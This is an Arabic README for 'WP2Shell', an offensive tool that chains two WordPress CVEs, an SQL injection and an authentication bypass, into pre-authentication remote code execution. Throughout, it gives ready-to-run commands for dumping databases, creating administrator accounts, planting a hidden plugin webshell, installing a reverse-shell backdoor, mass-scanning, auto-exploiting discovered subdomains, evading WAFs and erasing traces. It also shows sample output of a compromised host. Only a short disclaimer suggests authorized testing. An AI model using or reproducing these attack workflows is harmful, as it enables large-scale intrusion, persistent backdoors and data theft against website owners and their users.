WP2Shell - استغلال RCE قبل المصادقة في ووردبريس

CVE-2026-63030 + CVE-2026-60137
الإصدار: 4.0.0
المؤلف: G0D150NE

📌 نظرة عامة

WP2Shell هي أداة استغلال متكاملة السلسلة لتنفيذ الأوامر عن بُعد قبل المصادقة في ووردبريس. تجمع بين ثغرتين حرجتين:

• CVE-2026-63030 - حقن SQL في نقطة نهاية REST API Batch
• CVE-2026-60137 - تجاوز المصادقة عبر تسميم ذاكرة التخزين المؤقت oEmbed

تتيح هذه الأداة السيطرة الكاملة على تثبيتات ووردبريس المعرضة للخطر بدون أي مصادقة - من الاكتشاف إلى RCE كامل والاستمرارية.

⚡ الميزات

• 🔍 فحص غير تدميري - تأكيد آمن للثغرة
• 📊 استخراج متعدد التقنيات - UNION، قائم على الأخطاء، حقن SQL أعمى
• 🚀 سلسلة RCE كاملة - من حقن SQL إلى إنشاء حساب مسؤول
• 🐚 نشر ويب شيل - باب خلفي مخفي قائم على الإضافات
• 🧹 قدرة التنظيف - إزالة جميع الآثار
• 📡 المسح الجماعي - ماسح متعدد الخيوط لأهداف متعددة
• 🤖 وضع الاختراق التلقائي - اكتشاف النطاقات الفرعية + استغلال تلقائي
• 🌐 تدوير البروكسي - دعم البروكسيات الدوّارة
• 🕵️ وضع التخفي - تأخيرات عشوائية وتقنيات تجاوز WAF

🔧 التثبيت

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 الاستخدام

بنية الأوامر

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

الأوامر المتاحة

الأمر	الوصف
check	تأكيد الثغرة بطريقة غير تدميرية
read	استخراج البيانات عبر حقن SQL
exploit	سلسلة RCE كاملة قبل المصادقة
shell	نشر ويب شيل باستخدام بيانات اعتماد موجودة
masscan	مسح جماعي لأهداف متعددة
autopwn	اكتشاف تلقائي → مسح → استغلال

🚀 أمثلة

1. فحص الثغرة

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. استخراج البيانات

بصمة أساسية:

python3 wp2shell.py read https://target.com

استخراج المستخدمين:

python3 wp2shell.py read https://target.com --preset users

استعلام مخصص:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

تفريغ قاعدة البيانات كاملة:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. الاستغلال الكامل

استغلال أساسي:

python3 wp2shell.py exploit https://target.com

استغلال مع شل تفاعلي:

python3 wp2shell.py exploit https://target.com --interactive

استغلال مع تثبيت باب خلفي:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

استغلال مع تفريغ قاعدة البيانات:

python3 wp2shell.py exploit https://target.com --dumpdb

استغلال مع التنظيف (إزالة الآثار):

python3 wp2shell.py exploit https://target.com --cleanup

4. استخدام بيانات اعتماد مسؤول موجودة

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. المسح الجماعي

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. وضع الاختراق التلقائي (أتمتة كاملة)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

سيقوم هذا بـ:

1. اكتشاف النطاقات الفرعية عبر crt.sh
2. تحديد تثبيتات ووردبريس
3. استغلال جميع المواقع المعرضة للخطر
4. تثبيت أبواب خلفية على الأهداف الناجحة

🎮 الشل التفاعلي

بعد الاستغلال، تحصل على شل تفاعلي كامل:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ مرجع الخيارات

الخيارات الشائعة

الخيار	الوصف
--timeout	مهلة HTTP بالثواني (الافتراضي: 30)
--proxies	قائمة بروكسيات مفصولة بفواصل (مثال: http://127.0.0.1:8080)
--stealth	تفعيل وضع التخفي مع تأخيرات عشوائية
-v, --verbose	تفعيل مخرجات التصحيح
-q, --quiet	إخفاء الشعار ورسائل المعلومات

خيارات أمر القراءة

الخيار	الوصف
--prefix	بادئة الجدول (الافتراضي: wp_)
--auto-prefix	اكتشاف بادئة الجدول تلقائيًا
--max-length	الحد الأقصى للأحرف لكل قيمة (الافتراضي: 128)
--technique	تقنية الاستخراج: auto/union/error/blind
--preset	إعداد مسبق للبيانات: fingerprint/users/dumpall
--query	تعبير SQL مخصص للاستخراج

خيارات أمر الاستغلال

الخيار	الوصف
--prefix	بادئة الجدول (الافتراضي: wp_)
--no-discover	تخطي الاكتشاف التلقائي، استخدم الافتراضيات
-i, --interactive	الدخول إلى شل بعد الاستغلال
-c, --command	تنفيذ أمر واحد بعد الاستغلال
--backdoor	تثبيت باب خلفي للاستمرارية
--lhost	LHOST لشل عكسي (الافتراضي: 10.0.0.1)
--lport	LPORT لشل عكسي (الافتراضي: 4444)
--dumpdb	تفريغ قاعدة البيانات بعد الاستغلال
--cleanup	حذف المستخدم والويب شيل المُنشأين عند الخروج

🔬 التفاصيل التقنية

سلسلة الثغرات

1. حقن SQL (CVE-2026-63030)

   • تحدث في نقطة النهاية /wp-json/batch/v1
   • معامل author_exclude معرض لحقن SQL أعمى قائم على الوقت
   • يسمح بالاستخراج عبر UNION والقائم على الأخطاء

2. تجاوز المصادقة (CVE-2026-60137)

   • تسميم ذاكرة التخزين المؤقت oEmbed عبر معامل /_embed
   • يسمح بإنشاء مستخدمين مسؤولين عبر customizer changeset
   • يُطلق سلسلة إعادة الدخول لإنشاء حساب بصلاحيات مرتفعة

إصدارات ووردبريس المدعومة

الإصدار	الحالة
6.9.0	✅ معرض للخطر
6.9.1	✅ معرض للخطر
6.9.2	✅ معرض للخطر
6.9.3	✅ معرض للخطر
6.9.4	✅ معرض للخطر
7.0.0	✅ معرض للخطر
7.0.1	✅ معرض للخطر
≥ 7.0.2	❌ مُصحَّح

تقنيات الاستخراج

التقنية	السرعة	حجم البيانات	المتطلبات
UNION	⚡ سريع جدًا	غير محدود	يجب ألا يفلتر الهدف UNION
Error	🚀 سريع	~30 حرف/طلب	يجب أن يكشف الهدف رسائل الخطأ
Blind	🐢 بطيء	غير محدود	يتوفر مؤشر منطقي (Boolean oracle)

📊 أمثلة على المخرجات

استغلال ناجح

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ إخلاء مسؤولية

هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدامها ضد أنظمة دون إذن صريح غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.

📚 المراجع